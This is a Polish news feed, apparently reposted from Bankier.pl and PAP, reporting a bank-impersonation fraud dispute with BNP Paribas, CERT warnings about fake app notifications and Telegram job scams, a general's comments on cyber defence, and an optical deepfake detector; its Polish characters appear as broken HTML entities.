SMS miaand#322; potwierdzaand#263; toand#380;samoand#347;and#263; and#8222;pracownikaand#8221;
Oszustwo rozpoczand#281;and#322;o siand#281; od telefonu w sprawie rzekomej prand#243;by zaciand#261;gniand#281;cia poand#380;yczki na dane klientki. Pand#243;and#378;niej skontaktowaand#322; siand#281; z niand#261; mand#281;and#380;czyzna podajand#261;cy siand#281; za pracownika BNP Paribas. W procederze uczestniczyand#322;a takand#380;e osoba przedstawiajand#261;ca siand#281; jako policjant. Rozmand#243;wcy mieli znaand#263; dane kobiety i przekonywali jand#261;, and#380;e jej oszczand#281;dnoand#347;ci sand#261; zagroand#380;one.

Klientka poczand#261;tkowo nie chciaand#322;a przekazaand#263; danych umoand#380;liwiajand#261;cych dostand#281;p do bankowoand#347;ci.
and#160;
and#8222;Gdy stawiaand#322;am opand#243;r i nie chciaand#322;am podaand#263; danych logowania, oszust oand#347;wiadczyand#322;, and#380;e na mand#243;j telefon przyszedand#322; SMS potwierdzajand#261;cy, and#380;e rozmawiam z prawdziwym pracownikiem. Taki SMS rzeczywiand#347;cie przyszedand#322; i wyand#347;wietliand#322; siand#281; w telefonie jako oficjalny komunikat bankuand#8221; - relacjonuje.

Jak dodaje, nie korzystaand#322;a z aplikacji GOmobile, za pomocand#261; ktand#243;rej klient BNP Paribas moand#380;e zweryfikowaand#263; toand#380;samoand#347;and#263; dzwoniand#261;cego pracownika.
and#8222;Otrzymany SMS z nazwand#261; banku byand#322; dla mnie w peand#322;ni wiarygodnym i jedynym dostand#281;pnym dowodem toand#380;samoand#347;ci konsultantaand#8221; - tand#322;umaczy.
Wedand#322;ug jej relacji oszuand#347;ci uzyskali dostand#281;p do rachunku, zrywali lokaty i przygotowali przelew. Kobiecie powiedzieli, and#380;e otrzyma specjalne hasand#322;o bezpieczeand#324;stwa. Zapowiedzieli rand#243;wnieand#380; telefon z banku i kilkakrotnie powtarzali, and#380;e jej zadaniem band#281;dzie potwierdzenie operacji.
BNP Paribas przedstawiand#322; Rzecznikowi Finansowemu technicznand#261; stronand#281; zdarzenia. Z odpowiedzi banku wynika, and#380;e 16 kwietnia 2026 r., po zalogowaniu do GOonline przy uand#380;yciu prawidand#322;owego loginu i hasand#322;a, zlecono przelew SORBNET na 39 891 zand#322;. Nastand#261;piand#322;o to o godz. 14:47:09. Cztery sekundy pand#243;and#378;niej bank wysand#322;aand#322; wiadomoand#347;and#263; zawierajand#261;cand#261; kwotand#281;, dane odbiorcy, fragment numeru jego rachunku oraz kod.

and#8222;Powyand#380;szy przelew zostaand#322; zautoryzowany kodem, przesand#322;anym w formie wiadomoand#347;ci SMS na numer telefonu wskazany przez Klientkand#281; do autoryzacjiand#8221; - poinformowaand#322; bank.
BNP Paribas podkreand#347;liand#322; rand#243;wnieand#380;, and#380;e and#8222;na wykonanie ww. przelewu nie miaand#322;a miejsca and#380;adna awaria po stronie bankuand#8221;.
Klientka nie zaprzecza, and#380;e otrzymaand#322;a wiadomoand#347;and#263;. Twierdzi jednak, and#380;e oszuand#347;ci przedstawili zawarty w niej kod jako element procedury bezpieczeand#324;stwa.
and#8222;Oszuand#347;ci zlecili z mojego konta niestandardowy dla mojego profilu klienta, band#322;yskawiczny przelew SORBNET na kwotand#281; 39 891 zand#322;. Przestand#281;pcy zapowiedzieli, and#380;e zaraz zadzwoni pracownik banku, a moim jedynym zadaniem jest potwierdzenie tego hasand#322;a, co powtarzali manipulacyjnie kilka razyand#8221; - opisuje kobieta.
and#160;





Bank zatrzymaand#322; przelew i zadzwoniand#322;
Operacjand#281; wychwyciand#322; system monitorujand#261;cy banku. Przelew zostaand#322; wstrzymany, a z klientkand#261; skontaktowaand#322;a siand#281; prawdziwa pracownica BNP Paribas. and#8222;Po poprawnej weryfikacji, pracownik poinformowaand#322; Klientkand#281;, and#380;e dzwoni w celu potwierdzenia przelewu, podajand#261;c wszystkie dane tego przelewu oraz dopytujand#261;c, czy Klientka realizowaand#322;a ten przelew oraz czy zna jego odbiorcand#281;. Klientka odpowiedziaand#322;a twierdzand#261;co, przelew zostaand#322; zrealizowanyand#8221; - czytamy w piand#347;mie banku do Rzecznika Finansowego.
Klientka przyznaje, and#380;e potwierdziand#322;a operacjand#281;. Inaczej tand#322;umaczy jednak znaczenie swojej odpowiedzi.
and#8222;Gdy zadzwoniand#322;a pierwsza, prawdziwa pracownica banku i zapytaand#322;a, czy potwierdzam transakcjand#281;, odpowiedziaand#322;am twierdzand#261;co. Dziaand#322;aand#322;am pod wpand#322;ywem podstand#281;pu, band#281;dand#261;c w peand#322;ni przekonana, and#380;e potwierdzajand#261;c hasand#322;o, potwierdzam wewnand#281;trznand#261; procedurand#281; przeniesienia and#347;rodkand#243;w na moje nowe konto techniczneand#8221; - mand#243;wi.
and#8222;Nie miaand#322;am pojand#281;cia, and#380;e and#347;rodki sand#261; w rzeczywistoand#347;ci przelewane na konto obcej osoby fizycznej i and#380;e jest to wysokokwotowy przelew SORBNET, o czym dowiedziaand#322;am siand#281; dopiero z pisma banku do Rzecznika Finansowego. Nigdy wczeand#347;niej nie wykonywaand#322;am na swoim koncie nawet zwykand#322;ych przelewand#243;w Elixir, a tym bardziej transakcji SORBNET. Nie dokonaand#322;am zerwania lokat ani tego przelewu fizycznie na komputerzeand#8221; - dodaje.





Zapytaliand#347;my BNP Paribas, czy pracownica zadaand#322;a dwa osobne pytania: o wykonanie przelewu oraz o znajomoand#347;and#263; odbiorcy. Poprosiliand#347;my teand#380; o dokand#322;adne brzmienie pytaand#324; i odpowiedzi. Bank nie przytoczyand#322; rozmowy.
and#8222;W pierwszej rozmowie Klientka potwierdziand#322;a realizacjand#281; przelewu, zostaand#322;a poprawnie zweryfikowana oraz potwierdziand#322;a, and#380;e zna odbiorcand#281;and#8221; - odpowiedziaand#322; BNP Paribas.
Nie wiadomo zatem, czy rozmowa ograniczyand#322;a siand#281; do pytaand#324; zamkniand#281;tych, czy pracownica prand#243;bowaand#322;a ustaliand#263;, skand#261;d klientka zna odbiorcand#281;, jaki jest cel przelewu i dlaczego wykonuje takand#261; operacjand#281;.
and#160;
Drugi przelew wzbudziand#322; podejrzenia
Z pisma banku do Rzecznika Finansowego wynika, and#380;e kilkanaand#347;cie minut pand#243;and#378;niej zlecono kolejny przelew do tego samego odbiorcy. Tym razem chodziand#322;o o 19 897,80 zand#322; wysyand#322;ane w systemie Express Elixir. Ta operacja rand#243;wnieand#380; zostaand#322;a zatrzymana.





Podczas nastand#281;pnej rozmowy pracownik pytaand#322; nie tylko o przelew, ale takand#380;e o zerwane lokaty. Wedand#322;ug banku klientka potwierdziand#322;a wykonane operacje. and#8222;W dalszej czand#281;and#347;ci rozmowy pracownik wskazaand#322; na moand#380;liwoand#347;and#263; oszustwa i dopytaand#322;, czy Klientka byand#322;a przez kogoand#347; namawiana na realizacjand#281; przelewu. Dopiero wand#243;wczas zostaand#322;o potwierdzone z Klientkand#261;, and#380;e zostaand#322;a oszukanaand#8221; - napisaand#322; bank.
Dostand#281;p do bankowoand#347;ci elektronicznej zostaand#322; zablokowany. Bank nie zrealizowaand#322; drugiego przelewu.
Klientka uwaand#380;a, and#380;e podczas drugiej rozmowy wykazano siand#281; wiand#281;kszand#261; dociekliwoand#347;ciand#261;. Jej zdaniem pytanie o to, czy ktoand#347; nakand#322;ania jand#261; do wykonania operacji, powinno paand#347;and#263; juand#380; podczas pierwszego telefonu.
and#8222;Gdyby pierwsza pracownica banku wykazaand#322;a siand#281; takand#261; samand#261; starannoand#347;ciand#261;, czujnoand#347;ciand#261; i empatiand#261; jak druga pani, do kradzieand#380;y kwoty 39 891 zand#322; w ogand#243;le by nie doszand#322;oand#8221; - ocenia.
Zapytaliand#347;my BNP Paribas, dlaczego podejrzenie manipulacji pojawiand#322;o siand#281; dopiero podczas drugiego kontaktu i czy pytanie o namawianie do przelewu jest staand#322;ym elementem weryfikacji transakcji zatrzymanej przez system antyfraudowy.
Bank nie przedstawiand#322; szczegand#243;and#322;and#243;w procedury. Zwrand#243;ciand#322; teand#380; uwagand#281;, and#380;e udzielone przez klientkand#281; zwolnienie z tajemnicy bankowej obejmowaand#322;o wyand#322;and#261;cznie pierwszy przelew.
and#8222;Z uwagi na kwestie bezpieczeand#324;stwa bank nie ujawnia szczegand#243;and#322;and#243;w dotyczand#261;cych procedury weryfikacji. Moand#380;emy jedynie dodaand#263;, and#380;e ciand#261;g zaistniaand#322;ych zdarzeand#324; zasugerowaand#322;, and#380;e Klientka mogand#322;a zostaand#263; zmanipulowana przez oszustaand#8221; - odpowiedziaand#322;.
and#160;
Bank uznaand#322; transakcjand#281; za autoryzowanand#261;
BNP Paribas stoi na stanowisku, and#380;e zastosowaand#322; silne uwierzytelnienie. Dostand#281;p do bankowoand#347;ci byand#322; zabezpieczony loginem i hasand#322;em, a zlecenie potwierdzono kodem przesand#322;anym na numer telefonu klientki. Bank dodatkowo zweryfikowaand#322; przelew podczas rozmowy telefonicznej.
and#8222;W toku analizy potwierdziliand#347;my, and#380;e reklamowana transakcja byand#322;a poprawnie uwierzytelniona i zautoryzowana. Klientka potwierdziand#322;a samodzielnand#261; autoryzacjand#281; kwestionowanych transakcji, jak rand#243;wnieand#380; otrzymane poand#322;and#261;czenie z banku w sprawie dodatkowej weryfikacji i autoryzacjiand#8221; - stwierdziand#322; BNP Paribas.
Bank nie wyklucza, and#380;e kobieta padand#322;a ofiarand#261; przestand#281;pcand#243;w. Nie uznaje jednak przelewu za nieautoryzowany.
and#8222;Bank nie kwestionuje, and#380;e w sprawie mogand#322;o dojand#347;and#263; do oszustwa i deklaruje peand#322;nand#261; wspand#243;and#322;pracand#281; z organami powoand#322;anymi do and#347;cigania przestand#281;pstw, jednak w niniejszej sprawie bank nie znajduje podstaw do uznania, and#380;e doszand#322;o do transakcji nieautoryzowanej w rozumieniu art. 46 ust. 1 u.u.p., a w konsekwencji, aby powstaand#322; obowiand#261;zek banku do zwrotu and#347;rodkand#243;w z tytuand#322;u przedmiotowej transakcji na podstawie tego przepisuand#8221; - czytamy w odpowiedzi.
BNP Paribas zaznaczyand#322; rand#243;wnieand#380;, and#380;e nie podejrzewa klientki o prand#243;band#281; oszustwa.
and#8222;Klientka przyznaand#322;a fakt samodzielnego zautoryzowania transakcji, jednak stwierdziand#322;a, and#380;e dziaand#322;aand#322;a pod wpand#322;ywem band#322;and#281;du. Bank w tej sytuacji nie dokonaand#322; zawiadomienia organand#243;w and#347;ciganiaand#8221; - wyjaand#347;niand#322;.
Po przyjand#281;ciu zgand#322;oszenia bank zwrand#243;ciand#322; siand#281; do banku odbiorcy za poand#347;rednictwem systemu OGNIVO z proand#347;band#261; o blokadand#281; lub zwrot and#347;rodkand#243;w. W odpowiedzi otrzymaand#322; informacjand#281;, and#380;e proand#347;ba zostaand#322;a przekazana odbiorcy, ktand#243;ry moand#380;e dobrowolnie oddaand#263; pieniand#261;dze. and#346;rodkand#243;w nie udaand#322;o siand#281; w ten sposand#243;b odzyskaand#263;.
Klientka sama zawiadomiand#322;a policjand#281;. Sprawand#261; zajmuje siand#281; prokuratura.
and#160;
Rzecznik Finansowy o and#347;wiadomej zgodzie
Klientka zwrand#243;ciand#322;a siand#281; rand#243;wnieand#380; do Rzecznika Finansowego. Rzecznik podjand#261;and#322; interwencjand#281; i wystand#261;piand#322; do BNP Paribas o dokumenty oraz wyjaand#347;nienia. Nie oznacza to rozstrzygniand#281;cia sporu na korzyand#347;and#263; klientki. W piand#347;mie do banku przedstawiono jednak zasady, wedand#322;ug ktand#243;rych naleand#380;y oceniaand#263; autoryzacjand#281; transakcji.
and#8222;Transakcja jest autoryzowana, gdy wyraand#380;ono na niand#261; zgodand#281; w sposand#243;b przewidziany w umowie. Tylko wtedy bank ma prawo jand#261; wykonaand#263;. Bank nie moand#380;e natomiast obciand#261;and#380;yand#263; rachunku, jeand#380;eli zgoda na dokonanie transakcji nie zostaand#322;a wyraand#380;ona and#347;wiadomieand#8221; - napisaand#322; Rzecznik Finansowy.
W dalszej czand#281;and#347;ci pisma czytamy:
and#8222;Jeand#347;li bank jedynie wykaand#380;e, and#380;e uand#380;yto karty lub innego narzand#281;dzia pand#322;atniczego, to wciand#261;and#380; nie wystarcza to, aby uznaand#263;, and#380;e transakcja byand#322;a autoryzowana. Bank musi udowodniand#263;, and#380;e to pand#322;atnik wyraziand#322; zgodand#281; na transakcjand#281;and#8221;.
Rzecznik odniand#243;sand#322; siand#281; teand#380; do oszustw, w ktand#243;rych przestand#281;pcy podszywajand#261; siand#281; pod pracownikand#243;w instytucji finansowych.
and#8222;Model oszustwa and#187;na pracownika bankuand#171; jest od lat znany na rynku finansowym. Osoby nieuprawnione dziaand#322;ajand#261; wedand#322;ug powtarzalnego schematu. Oszuand#347;ci czand#281;sto utrzymujand#261; teand#380; poand#322;and#261;czenie telefoniczne z pand#322;atnikiem, co utrudnia kontakt banku z klientem. W takiej sytuacji bank powinien uznaand#263; transakcje za podejrzane i dodatkowo je zweryfikowaand#263;and#8221; - wskazaand#322; Rzecznik.
W piand#347;mie zwrand#243;cono uwagand#281;, and#380;e osoba poddana socjotechnice moand#380;e byand#263; przekonana, iand#380; chroni wand#322;asne oszczand#281;dnoand#347;ci, a nie przekazuje je przestand#281;pcom.
and#8222;Pand#322;atnik dziaand#322;aand#322; pod wpand#322;ywem manipulacji (socjotechniki), ktand#243;ra mogand#322;a wpand#322;ywaand#263; na jego decyzje i ocenand#281; sytuacji. Przekazywane informacje mogand#322;y wydawaand#263; siand#281; wiarygodne takand#380;e z uwagi na wykorzystanie narzand#281;dzi teleinformatycznych, takich jak spoofing. Pand#322;atnik dziaand#322;aand#322; w przekonaniu, and#380;e chroni swoje and#347;rodki, a nie and#380;e przekazuje je osobom nieuprawnionymand#8221; - czytamy w dokumencie.
Rzecznik zaznaczyand#322; ponadto, and#380;e nie moand#380;na automatycznie przypisywaand#263; klientowi raand#380;and#261;cego niedbalstwa tylko dlatego, and#380;e padand#322; ofiarand#261; profesjonalnie przygotowanego phishingu, vishingu lub smishingu. Ostateczna ocena naleand#380;y do sand#261;du.
Bank po interwencji podtrzymaand#322; swojand#261; decyzjand#281;.
and#8222;Po przeprowadzonej analizie nie odnajdujemy podstaw do uznania roszczenia o zwrot and#347;rodkand#243;w z tytuand#322;u prawidand#322;owo zrealizowanej transakcji oraz do przedstawienia propozycji polubownego rozwiand#261;zania sporuand#8221; - odpowiedziaand#322; BNP Paribas.
and#160;
Co wynika z formularza reklamacyjnego?
Klientka zwraca rand#243;wnieand#380; uwagand#281; na bankowy dokument, w ktand#243;rym sporna operacja zostaand#322;a umieszczona pod nagand#322;and#243;wkiem and#8222;Wykaz nieautoryzowanych transakcjiand#8221;. Jej zdaniem moand#380;e to and#347;wiadczyand#263; o tym, and#380;e bank poczand#261;tkowo sam zakwalifikowaand#322; przelew jako nieautoryzowany.
BNP Paribas odrzuca takand#261; interpretacjand#281;.
and#8222;Jest to konstrukcja standardowego formularza reklamacyjnego. Wykaz transakcji, ktand#243;re Klient oand#347;wiadcza jako nieautoryzowane w momencie przyjand#281;cia sprawy przez bankand#8221; - wyjaand#347;niand#322;.
Kobieta twierdzi teand#380;, and#380;e logowanie, zerwanie lokat i zlecenie przelewu nastand#261;piand#322;y z obcego urzand#261;dzenia oraz adresu IP, ktand#243;re nie odpowiadaand#322;y jej wczeand#347;niejszej aktywnoand#347;ci. Bank nie potwierdziand#322; tego w odpowiedziach udostand#281;pnionych redakcji.
BNP Paribas zapewnia natomiast, and#380;e posiada system identyfikujand#261;cy podejrzane operacje. Wedand#322;ug banku korzysta on miand#281;dzy innymi z ochrony behawioralnej oraz narzand#281;dzi wykrywajand#261;cych poand#322;and#261;czenia podszywajand#261;ce siand#281; pod bank. Szczegand#243;and#322;owych ustawieand#324; systemu instytucja nie ujawnia.
Obie strony zgadzajand#261; siand#281; zatem co do podstawowych faktand#243;w: kod SMS zostaand#322; uand#380;yty, bank zatrzymaand#322; przelew, pracownica zadzwoniand#322;a do klientki, a ta potwierdziand#322;a transakcjand#281;. Rand#243;and#380;niand#261; siand#281; w ocenie tego, czy kobieta rozumiaand#322;a, and#380;e zgadza siand#281; na przekazanie 39 891 zand#322; konkretnej osobie.
Najwiand#281;cej mogand#322;oby wyjaand#347;niand#263; peand#322;ne nagranie pierwszej rozmowy. Pozwoliand#322;oby ustaliand#263;, jakie informacje przekazaand#322;a pracownica, jak dokand#322;adnie sformuand#322;owaand#322;a pytania i co odpowiedziaand#322;a klientka. Znaczenie mogand#261; mieand#263; rand#243;wnieand#380; logi bankowoand#347;ci oraz wczeand#347;niejszy sposand#243;b korzystania z rachunku. Jeand#380;eli strony nie dojdand#261; do porozumienia, ocena tych dowodand#243;w i rozstrzygniand#281;cie, kto poniesie stratand#281;, band#281;dand#261; naleand#380;aand#322;y do sand#261;du.
and#160;
and#378;rodand#322;o Bankier.pland#160; 29 wrzesieand#324; 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Powiadomienie z telefonu może być reklamą oszustów. CERT ostrzega przed nowym sposobem ataku ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1748</link>
			<description><![CDATA[ Na ekranie telefonu pojawia siand#281; komunikat wygland#261;dajand#261;cy jak powiadomienie znanej aplikacji. Jest logo, nazwa usand#322;ugi, wszystko wygland#261;da normalnie. Po klikniand#281;ciu uand#380;ytkownik trafia jednak na stronand#281; przygotowanand#261; przez oszustand#243;w. CERT Polska ostrzega przed nowym sposobem wykorzystania mechanizmand#243;w reklamowych smartfonand#243;w.
and#160;




and#160;

fot. GaudiLab / /and#160;Shutterstock  


and#160;
CERT Polska opisaand#322; nowy sposand#243;b dziaand#322;ania przestand#281;pcand#243;w. Zamiast SMS-a czy e-maila wykorzystujand#261; oni mechanizmy reklamowe wbudowane w oprogramowanie telefonu. Reklama przybiera formand#281; powiadomienia i moand#380;e korzystaand#263; z nazwy albo logo popularnej aplikacji.
Klikniand#281;cie nie otwiera jednak aplikacji, ktand#243;rej dotyczy komunikat. Uand#380;ytkownik trafia na zewnand#281;trznand#261; stronand#281; internetowand#261;. Wedand#322;ug CERT moand#380;e ona sand#322;uand#380;yand#263; do wyand#322;udzania danych lub promowania niechcianych usand#322;ug.



Problem zaobserwowano na telefonach Xiaomi, Oppo i Realme. CERT zastrzega, and#380;e podobny mechanizm moand#380;e wystand#281;powaand#263; rand#243;wnieand#380; u innych producentand#243;w, jeand#347;li system telefonu pozwala na wyand#347;wietlanie zewnand#281;trznych reklam. W przypadku Xiaomi jednym ze sposoband#243;w ograniczenia takich komunikatand#243;w jest wyand#322;and#261;czenie powiadomieand#324; z aplikacji MSA, czyli MIUI System Ads.




and#160;




Nie pomaga sama znajomoand#347;and#263; wygland#261;du aplikacji. Logo moand#380;e byand#263; prawdziwe, a nazwa poprawna. Podejrzenia powinno wzbudziand#263; dopiero zachowanie po klikniand#281;ciu. Jeand#347;li komunikat dotyczand#261;cy sklepu czy programu lojalnoand#347;ciowego otwiera przegland#261;darkand#281; i prowadzi na obcand#261; stronand#281;, lepiej jand#261; zamknand#261;and#263;. CERT radzi w takiej sytuacji uruchomiand#263; wand#322;aand#347;ciwand#261; aplikacjand#281; samodzielnie.
and#160;

11-latek zainstalowaand#322; aplikacjand#281;. Matka straciand#322;a ponad 1500 zand#322;
O innym oszustwie informuje policja w Jastrzand#281;biu-Zdroju. 11-letni chand#322;opiec podczas gry online poznaand#322; uand#380;ytkownika, ktand#243;ry obiecaand#322; mu korzyand#347;ci w grze. Warunek byand#322; jeden: dziecko miaand#322;o zainstalowaand#263; aplikacjand#281; do zdalnego sterowania urzand#261;dzeniem. Program trafiand#322; najpierw na jego telefon, a potem rand#243;wnieand#380; na telefon matki.
I nie chodziand#322;o tu o zand#322;oand#347;liwe oprogramowanie and#8211; to byand#322;a zwykand#322;a, legalna aplikacja do zdalnej obsand#322;ugi urzand#261;dzeand#324;. Takie programy sand#261; uand#380;ywane m.in. przez pomoc technicznand#261;, ale po przekazaniu dostand#281;pu obcej osobie mogand#261; daand#263; jej kontroland#281; nad telefonem lub komputerem.
Matka chand#322;opca zorientowaand#322;a siand#281;, and#380;e coand#347; jest nie tak, gdy operator poinformowaand#322; jand#261; o zmianie limitu subskrypcji do 1000 zand#322;. Zanim zdand#261;and#380;yand#322;a zablokowaand#263; dostand#281;p, sprawca wykonaand#322; dziesiand#281;and#263; transakcji po 139 zand#322; i doand#322;adowaand#322; telefon za kolejne 200 zand#322;. Strata przekroczyand#322;a 1500 zand#322;.
W tym przypadku nie byand#322;o faand#322;szywego formularza ani kradzieand#380;y hasand#322;a. Przestand#281;pca przekonaand#322; dziecko, and#380;eby samo otworzyand#322;o mu drogand#281; do urzand#261;dzenia.



















and#8222;Pracaand#8221; na Telegramie. Na poczand#261;tku naprawdand#281; pand#322;acand#261;
CERT Orange Polska odnotowaand#322; z kolei wzrost SMS-and#243;w z ofertami and#322;atwej pracy. Wiadomoand#347;ci podszywajand#261; siand#281; m.in. pod agencje poand#347;rednictwa pracy i kierujand#261; uand#380;ytkownikand#243;w na Telegram. Zadania wygland#261;dajand#261; banalnie. W obecnej kampanii chodzi m.in. o lajkowanie filmand#243;w na TikToku. Za ich wykonywanie oszuand#347;ci rzeczywiand#347;cie potrafiand#261; wypand#322;acaand#263; niewielkie kwoty. Pand#243;and#378;niej pojawiajand#261; siand#281; kolejne zadania, tym razem wymagajand#261;ce przelewand#243;w od uczestnika. Kwoty rosnand#261;, a czand#281;and#347;and#263; pieniand#281;dzy poczand#261;tkowo wraca z zyskiem.
Ma to wzbudziand#263; zaufanie ofiary. Orange opisuje przypadki, w ktand#243;rych osoby dochodziand#322;y do przelewand#243;w liczonych w dziesiand#261;tkach tysiand#281;cy zand#322;otych. Wtedy kontakt siand#281; urywaand#322;. Zespand#243;and#322; ostrzega teand#380;, and#380;e pieniand#261;dze wypand#322;acane uczestnikom na wczeand#347;niejszych etapach mogand#261; pochodziand#263; od innych ofiar, co dodatkowo komplikuje sytuacjand#281; osoby wciand#261;gniand#281;tej w taki schemat.
CERT Orange zaleca, by nie odpowiadaand#263; na takie SMS-y, nie przechodziand#263; na wskazane konto w Telegramie i nie wykonywaand#263; przelewand#243;w na polecenie nieznanych osand#243;b.
and#160;
and#378;rodand#322;o Bankier.pl and#160;29 wrzesieand#324; 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Gen. Molenda: Polska należy do najbardziej atakowanych państw w cyberprzestrzeni ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1747</link>
			<description><![CDATA[ Polska naleand#380;y do najbardziej atakowanych paand#324;stw w cyberprzestrzeni, ale sand#322;uand#380;by skutecznie neutralizujand#261; zagroand#380;enia kaand#380;dego dnia and#8211; oceniand#322; gen. Karol Molenda. W rozmowie z PAP wskazaand#322; teand#380; na koniecznoand#347;and#263; budowy spand#243;jnego i odpornego cyfrowo ekosystemu we wszystkich paand#324;stwach NATO.
and#160;




and#160;

fot. Mateusz Wlodarczyk / /and#160;


and#160;
Generaand#322; Karol Molenda, byand#322;y dowand#243;dca Komponentu Wojsk Obrony Cyberprzestrzeni, odebraand#322; w poniedziaand#322;ek w Rzeszowie nagrodand#281; imienia Ignacego and#321;ukasiewicza. Wyrand#243;and#380;nienie przyznano podczas konferencji and#8222;Bezpieczeand#324;stwo energetyczne and#8211; filary i perspektywa rozwojuand#187; za wzmacnianie ochrony strategicznej infrastruktury paand#324;stwa. Patronat nad wydarzeniem objand#281;and#322;a PAP.  
W rozmowie z PAP wojskowy podkreand#347;liand#322;, and#380;e cywilne i wojskowe zespoand#322;y operacyjne pracujand#261; nieprzerwanie w trybie caand#322;odobowym. Wysoka skutecznoand#347;and#263; obrony wynika and#8211; zdaniem generaand#322;a and#8211; z dokand#322;adnej analizy taktyk, technik i narzand#281;dzi stosowanych przez adwersarzy.
and#160;
Zaznaczyand#322; przy tym, and#380;e and#380;aden system nie zapewnia peand#322;nego bezpieczeand#324;stwa, a odpornoand#347;and#263; na cyberataki musi byand#263; projektowana od momentu tworzenia infrastruktury.
and#8211; Naleand#380;y pamiand#281;taand#263; o tym, and#380;e nie ma 100-procentowo bezpiecznego systemu. Nigdy takiego nie band#281;dzie. Dlatego budujand#261;c system, odpowiednia odpornoand#347;and#263; musi byand#263; zaimplementowana od samego poczand#261;tku and#8211; wskazaand#322;.

Pytany o kryteria kwalifikujand#261;ce cyberatak jako akt agresji, byand#322;y dowand#243;dca KWOC wyjaand#347;niand#322;, and#380;e odpowiedand#378; paand#324;stwa w rand#243;and#380;nych domenach nastand#261;piand#322;aby w sytuacji and#8222;krytycznej skali zniszczeand#324; infrastruktury lub ataku skutkujand#261;cego and#347;mierciand#261; ludziand#187;.
and#8211; Dotychczas to nie sand#261; ataki, ktand#243;re doprowadziand#322;y do sytuacji, w ktand#243;rej ktoand#347; zginand#261;and#322; lub ucierpiaand#322;a w sposand#243;b znaczand#261;cy infrastruktura. Myand#347;land#281;, and#380;e gdybyand#347;my mieli do czynienia z takand#261; formand#261; ataku, wtedy odpowiedand#378; caand#322;ego kraju byand#322;aby adekwatna. Odpowiedzi nie tylko muszand#261; byand#263; w cyberprzestrzeni, ale rand#243;wnieand#380; w innych domenach and#8211; zaznaczyand#322; gen. Molenda.
Generaand#322; zwrand#243;ciand#322; rand#243;wnieand#380; uwagand#281; na and#347;cisand#322;and#261; zaleand#380;noand#347;and#263; miand#281;dzy cyberbezpieczeand#324;stwem a sektorem energetycznym, okreand#347;lajand#261;c go mianem and#8222;systemu operacyjnego krajuand#187;. Podkreand#347;liand#322;, and#380;e ochrona tej infrastruktury wymaga podnoszenia and#347;wiadomoand#347;ci caand#322;ego spoand#322;eczeand#324;stwa, poniewaand#380; kaand#380;dy uand#380;ytkownik sieci moand#380;e staand#263; siand#281; dla przeciwnika punktem wejand#347;cia do systemu.
and#160;
Oceniajand#261;c dotychczasowe funkcjonowanie w Polsce Cyberlegionu, wojskowy nazwaand#322; go projektem na skaland#281; and#347;wiatowand#261;. Inicjatywa ta skupia ponad 3 tysiand#261;ce cywilnych ekspertand#243;w, ktand#243;rzy pro bono wspierajand#261; obronand#281; paand#324;stwa. Zdolnoand#347;and#263; zespoand#322;u do ujawniania infrastruktury przeciwnika and#8211; jak oceniand#322; and#8211; drastycznie podnosi koszty ewentualnego ataku i dziaand#322;a odstraszajand#261;co.
and#160;
Odnoszand#261;c siand#281; do swojej roli strategicznego doradcy dowand#243;dcy NATO do spraw transformacji, gen. Molenda zaznaczyand#322;, and#380;e Polska ze wzgland#281;du na bliskoand#347;and#263; konfliktu zbrojnego wykazuje wyand#380;szand#261; and#347;wiadomoand#347;and#263; zagroand#380;eand#324; i aktywnie dzieli siand#281; doand#347;wiadczeniami z sojusznikami. Kluczowym celem Sojuszu powinno byand#263; and#8211; jego zdaniem and#8211; wyrand#243;wnanie poziomu odpornoand#347;ci cyfrowej we wszystkich paand#324;stwach czand#322;onkowskich.
and#160;
and#8211; Tu nie chodzi o to, byand#347;my mieli jeden kraj, ktand#243;ry jest cyfrowo zaawansowany i cyfrowo bezpieczny w Sojuszu. Tu chodzi o to, byand#347;my mieli Sojusz, ktand#243;ry jest cyfrowo zaawansowany i cyfrowo odporny and#8211; podsumowaand#322;.and#160;
and#160;
and#160;
and#378;rodand#322;o PAPand#160; 28 wrzesieand#324; 2026and#160;huk/ mro/ ]]></description>
		</item><item>
			<title><![CDATA[ Naukowcy stworzyli detektor deepfake’ów. Wykorzystuje światło i działa z dokładnością 98 proc. ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1746</link>
			<description><![CDATA[ Naukowcy stworzyli system, ktand#243;ry wykorzystuje and#347;wiatand#322;o do wykrywania deepfakeand#8217;and#243;w. W testach analizowaand#322; on jednoczeand#347;nie 15 filmand#243;w i prawidand#322;owo klasyfikowaand#322; je w blisko 98 proc. przypadkand#243;w. Zdaniem autorand#243;w rozwiand#261;zanie to moand#380;e posand#322;uand#380;yand#263; do wykrywania faand#322;szywych filmand#243;w na bardzo duand#380;and#261; skaland#281;.
and#160;





fot. akay007 / /and#160;Shutterstock


and#160;
Twand#243;rcami systemu sand#261; naukowcy z University of California w Los Angeles (UCLA). Jak przypomnieli, wraz z rozwojem sztucznej inteligencji powstaje coraz wiand#281;cej faand#322;szywych i bardzo realistycznych nagraand#324; (deepfakeand#8217;and#243;w), a co za tym idzie, roand#347;nie takand#380;e potrzeba ich automatycznego wykrywania. Nie jest to jednak proste, poniewaand#380; nowoczesne detektory wymagajand#261; setek miliardand#243;w operacji obliczeniowych, and#380;eby oceniand#263; pojedynczy materiaand#322;. Poniewaand#380; zwykle analizujand#261; filmy kolejno, sprawdzanie duand#380;ych zbiorand#243;w nagraand#324; staje siand#281; bardzo czasochand#322;onne i energochand#322;onne.
Do tego tradycyjne cyfrowe detektory sand#261; podatne na oszustwa (ataki typu adversarial), polegajand#261;ce na celowym wprowadzaniu do nagrania takich zmian, ktand#243;re majand#261; sprawiand#263;, and#380;e system uzna faand#322;szywy film za autentyczny.


 








Badacze z UCLA postanowili sprawdziand#263;, czyand#160;czand#281;and#347;and#263; obliczeand#324; potrzebnych do wykrywania deepfakeand#8217;and#243;w moand#380;na wykonaand#263; za pomocand#261; and#347;wiatand#322;a.and#160;W ich systemie czand#281;and#347;and#263; analizy odbywa siand#281; wiand#281;c nie na komputerze, lecz w specjalnym ukand#322;adzie optycznym, w ktand#243;rym informacje sand#261; przetwarzane podczas rozchodzenia siand#281; and#347;wiatand#322;a.
